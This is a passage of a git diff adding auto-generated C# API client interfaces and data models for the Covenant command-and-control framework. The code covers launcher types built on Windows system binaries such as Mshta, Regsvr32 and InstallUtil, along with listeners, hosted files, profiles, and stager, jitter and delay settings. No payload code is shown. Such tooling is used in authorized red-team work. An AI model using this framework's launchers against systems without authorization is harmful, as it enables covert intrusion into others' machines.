/// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersPowershellPutWithHttpMessagesAsync(PowerShellLauncher powerShellLauncher = default(PowerShellLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersPowershellPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersPowershellHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMsbuildGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMsbuildPutWithHttpMessagesAsync(MSBuildLauncher msbuildLauncher = default(MSBuildLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMsbuildPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMsbuildHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersInstallutilGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersInstallutilPutWithHttpMessagesAsync(InstallUtilLauncher installutilLauncher = default(InstallUtilLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersInstallutilPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersInstallutilHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWmicGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWmicPutWithHttpMessagesAsync(WmicLauncher wmicLauncher = default(WmicLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWmicPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWmicHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersRegsvr32GetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersRegsvr32PutWithHttpMessagesAsync(Regsvr32Launcher regsvr32Launcher = default(Regsvr32Launcher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersRegsvr32PostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersRegsvr32HostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMshtaGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMshtaPutWithHttpMessagesAsync(MshtaLauncher mshtaLauncher = default(MshtaLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMshtaPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersMshtaHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersCscriptGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersCscriptPutWithHttpMessagesAsync(CscriptLauncher cscriptLauncher = default(CscriptLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersCscriptPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersCscriptHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWscriptGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWscriptPutWithHttpMessagesAsync(WscriptLauncher wscriptLauncher = default(WscriptLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWscriptPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersWscriptHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiListenersTypesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersTypesByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiListenersGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersPutWithHttpMessagesAsync(Listener listener = default(Listener), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersHttpByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersHttpPutWithHttpMessagesAsync(Models.HttpListener httpListener = default(Models.HttpListener), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersHttpPostWithHttpMessagesAsync(Models.HttpListener listener = default(Models.HttpListener), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiListenersByIdHostedfilesGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersByIdHostedfilesPostWithHttpMessagesAsync(int id, HostedFile hostFileRequest = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersByIdHostedfilesByHfidGetWithHttpMessagesAsync(int id, int hfid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersByIdHostedfilesByHfidPutWithHttpMessagesAsync(int id, int hfid, HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiListenersByIdHostedfilesByHfidDeleteWithHttpMessagesAsync(int id, int hfid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiListenersByIdProfileGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiProfilesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiProfilesPutWithHttpMessagesAsync(Profile profile = default(Profile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiProfilesPostWithHttpMessagesAsync(Profile profile = default(Profile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiProfilesByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiProfilesByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiProfilesHttpGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiProfilesHttpPutWithHttpMessagesAsync(HttpProfile profile = default(HttpProfile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiProfilesHttpPostWithHttpMessagesAsync(HttpProfile profile = default(HttpProfile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiProfilesHttpByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiProfilesHttpByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + } +} diff --git a/Covenant/API/Models/BinaryLauncher.cs b/Covenant/API/Models/BinaryLauncher.cs new file mode 100644 index 00000000..18b45de2 --- /dev/null +++ b/Covenant/API/Models/BinaryLauncher.cs @@ -0,0 +1,117 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class BinaryLauncher + { + /// + /// Initializes a new instance of the BinaryLauncher class. + /// + public BinaryLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the BinaryLauncher class. + /// + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public BinaryLauncher(int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/CovenantUser.cs b/Covenant/API/Models/CovenantUser.cs new file mode 100644 index 00000000..2919d846 --- /dev/null +++ b/Covenant/API/Models/CovenantUser.cs @@ -0,0 +1,126 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class CovenantUser + { + /// + /// Initializes a new instance of the CovenantUser class. + /// + public CovenantUser() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the CovenantUser class. + /// + public CovenantUser(string id = default(string), string userName = default(string), string normalizedUserName = default(string), string email = default(string), string normalizedEmail = default(string), bool? emailConfirmed = default(bool?), string passwordHash = default(string), string securityStamp = default(string), string concurrencyStamp = default(string), string phoneNumber = default(string), bool? phoneNumberConfirmed = default(bool?), bool? twoFactorEnabled = default(bool?), System.DateTime? lockoutEnd = default(System.DateTime?), bool? lockoutEnabled = default(bool?), int? accessFailedCount = default(int?)) + { + Id = id; + UserName = userName; + NormalizedUserName = normalizedUserName; + Email = email; + NormalizedEmail = normalizedEmail; + EmailConfirmed = emailConfirmed; + PasswordHash = passwordHash; + SecurityStamp = securityStamp; + ConcurrencyStamp = concurrencyStamp; + PhoneNumber = phoneNumber; + PhoneNumberConfirmed = phoneNumberConfirmed; + TwoFactorEnabled = twoFactorEnabled; + LockoutEnd = lockoutEnd; + LockoutEnabled = lockoutEnabled; + AccessFailedCount = accessFailedCount; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public string Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "userName")] + public string UserName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "normalizedUserName")] + public string NormalizedUserName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "email")] + public string Email { get; set; } + + /// + /// + [JsonProperty(PropertyName = "normalizedEmail")] + public string NormalizedEmail { get; set; } + + /// + /// + [JsonProperty(PropertyName = "emailConfirmed")] + public bool? EmailConfirmed { get; set; } + + /// + /// + [JsonProperty(PropertyName = "passwordHash")] + public string PasswordHash { get; set; } + + /// + /// + [JsonProperty(PropertyName = "securityStamp")] + public string SecurityStamp { get; set; } + + /// + /// + [JsonProperty(PropertyName = "concurrencyStamp")] + public string ConcurrencyStamp { get; set; } + + /// + /// + [JsonProperty(PropertyName = "phoneNumber")] + public string PhoneNumber { get; set; } + + /// + /// + [JsonProperty(PropertyName = "phoneNumberConfirmed")] + public bool? PhoneNumberConfirmed { get; set; } + + /// + /// + [JsonProperty(PropertyName = "twoFactorEnabled")] + public bool? TwoFactorEnabled { get; set; } + + /// + /// + [JsonProperty(PropertyName = "lockoutEnd")] + public System.DateTime? LockoutEnd { get; set; } + + /// + /// + [JsonProperty(PropertyName = "lockoutEnabled")] + public bool? LockoutEnabled { get; set; } + + /// + /// + [JsonProperty(PropertyName = "accessFailedCount")] + public int? AccessFailedCount { get; set; } + + } +} diff --git a/Covenant/API/Models/CovenantUserLogin.cs b/Covenant/API/Models/CovenantUserLogin.cs new file mode 100644 index 00000000..5091e8af --- /dev/null +++ b/Covenant/API/Models/CovenantUserLogin.cs @@ -0,0 +1,48 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class CovenantUserLogin + { + /// + /// Initializes a new instance of the CovenantUserLogin class. + /// + public CovenantUserLogin() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the CovenantUserLogin class. + /// + public CovenantUserLogin(string userName = default(string), string password = default(string)) + { + UserName = userName; + Password = password; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "userName")] + public string UserName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "password")] + public string Password { get; set; } + + } +} diff --git a/Covenant/API/Models/CovenantUserLoginResult.cs b/Covenant/API/Models/CovenantUserLoginResult.cs new file mode 100644 index 00000000..7f4d3dae --- /dev/null +++ b/Covenant/API/Models/CovenantUserLoginResult.cs @@ -0,0 +1,48 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class CovenantUserLoginResult + { + /// + /// Initializes a new instance of the CovenantUserLoginResult class. + /// + public CovenantUserLoginResult() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the CovenantUserLoginResult class. + /// + public CovenantUserLoginResult(bool? success = default(bool?), string token = default(string)) + { + Success = success; + Token = token; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "success")] + public bool? Success { get; set; } + + /// + /// + [JsonProperty(PropertyName = "token")] + public string Token { get; set; } + + } +} diff --git a/Covenant/API/Models/CscriptLauncher.cs b/Covenant/API/Models/CscriptLauncher.cs new file mode 100644 index 00000000..e01e2e8e --- /dev/null +++ b/Covenant/API/Models/CscriptLauncher.cs @@ -0,0 +1,138 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class CscriptLauncher + { + /// + /// Initializes a new instance of the CscriptLauncher class. + /// + public CscriptLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the CscriptLauncher class. + /// + /// Possible values include: 'JScript', + /// 'VBScript' + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public CscriptLauncher(ScriptingLanguage? scriptLanguage = default(ScriptingLanguage?), string progId = default(string), string diskCode = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + ScriptLanguage = scriptLanguage; + ProgId = progId; + DiskCode = diskCode; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// Gets or sets possible values include: 'JScript', 'VBScript' + /// + [JsonProperty(PropertyName = "scriptLanguage")] + public ScriptingLanguage? ScriptLanguage { get; set; } + + /// + /// + [JsonProperty(PropertyName = "progId")] + public string ProgId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "diskCode")] + public string DiskCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/DotNetVersion.cs b/Covenant/API/Models/DotNetVersion.cs new file mode 100644 index 00000000..5a0afe1a --- /dev/null +++ b/Covenant/API/Models/DotNetVersion.cs @@ -0,0 +1,62 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for DotNetVersion. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum DotNetVersion + { + [EnumMember(Value = "Net40")] + Net40, + [EnumMember(Value = "Net35")] + Net35, + [EnumMember(Value = "NetCore21")] + NetCore21 + } + internal static class DotNetVersionEnumExtension + { + internal static string ToSerializedValue(this DotNetVersion? value) + { + return value == null ? null : ((DotNetVersion)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this DotNetVersion value) + { + switch( value ) + { + case DotNetVersion.Net40: + return "Net40"; + case DotNetVersion.Net35: + return "Net35"; + case DotNetVersion.NetCore21: + return "NetCore21"; + } + return null; + } + + internal static DotNetVersion? ParseDotNetVersion(this string value) + { + switch( value ) + { + case "Net40": + return DotNetVersion.Net40; + case "Net35": + return DotNetVersion.Net35; + case "NetCore21": + return DotNetVersion.NetCore21; + } + return null; + } + } +} diff --git a/Covenant/API/Models/DownloadEvent.cs b/Covenant/API/Models/DownloadEvent.cs new file mode 100644 index 00000000..32d805ce --- /dev/null +++ b/Covenant/API/Models/DownloadEvent.cs @@ -0,0 +1,100 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class DownloadEvent + { + /// + /// Initializes a new instance of the DownloadEvent class. + /// + public DownloadEvent() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the DownloadEvent class. + /// + /// Possible values include: 'Portion', + /// 'Complete' + /// Possible values include: 'Silent', 'Info', + /// 'Warning', 'Highlight', 'Error' + /// Possible values include: 'Normal', + /// 'Download' + public DownloadEvent(string fileName = default(string), string fileContents = default(string), DownloadProgress? progress = default(DownloadProgress?), int? id = default(int?), System.DateTime? time = default(System.DateTime?), string message = default(string), EventLevel? level = default(EventLevel?), EventType? type = default(EventType?), string context = default(string)) + { + FileName = fileName; + FileContents = fileContents; + Progress = progress; + Id = id; + Time = time; + Message = message; + Level = level; + Type = type; + Context = context; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "fileName")] + public string FileName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "fileContents")] + public string FileContents { get; set; } + + /// + /// Gets or sets possible values include: 'Portion', 'Complete' + /// + [JsonProperty(PropertyName = "progress")] + public DownloadProgress? Progress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "time")] + public System.DateTime? Time { get; set; } + + /// + /// + [JsonProperty(PropertyName = "message")] + public string Message { get; set; } + + /// + /// Gets or sets possible values include: 'Silent', 'Info', 'Warning', + /// 'Highlight', 'Error' + /// + [JsonProperty(PropertyName = "level")] + public EventLevel? Level { get; set; } + + /// + /// Gets or sets possible values include: 'Normal', 'Download' + /// + [JsonProperty(PropertyName = "type")] + public EventType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "context")] + public string Context { get; set; } + + } +} diff --git a/Covenant/API/Models/DownloadProgress.cs b/Covenant/API/Models/DownloadProgress.cs new file mode 100644 index 00000000..db06709c --- /dev/null +++ b/Covenant/API/Models/DownloadProgress.cs @@ -0,0 +1,56 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for DownloadProgress. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum DownloadProgress + { + [EnumMember(Value = "Portion")] + Portion, + [EnumMember(Value = "Complete")] + Complete + } + internal static class DownloadProgressEnumExtension + { + internal static string ToSerializedValue(this DownloadProgress? value) + { + return value == null ? null : ((DownloadProgress)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this DownloadProgress value) + { + switch( value ) + { + case DownloadProgress.Portion: + return "Portion"; + case DownloadProgress.Complete: + return "Complete"; + } + return null; + } + + internal static DownloadProgress? ParseDownloadProgress(this string value) + { + switch( value ) + { + case "Portion": + return DownloadProgress.Portion; + case "Complete": + return DownloadProgress.Complete; + } + return null; + } + } +} diff --git a/Covenant/API/Models/EventLevel.cs b/Covenant/API/Models/EventLevel.cs new file mode 100644 index 00000000..5f0e4762 --- /dev/null +++ b/Covenant/API/Models/EventLevel.cs @@ -0,0 +1,74 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// 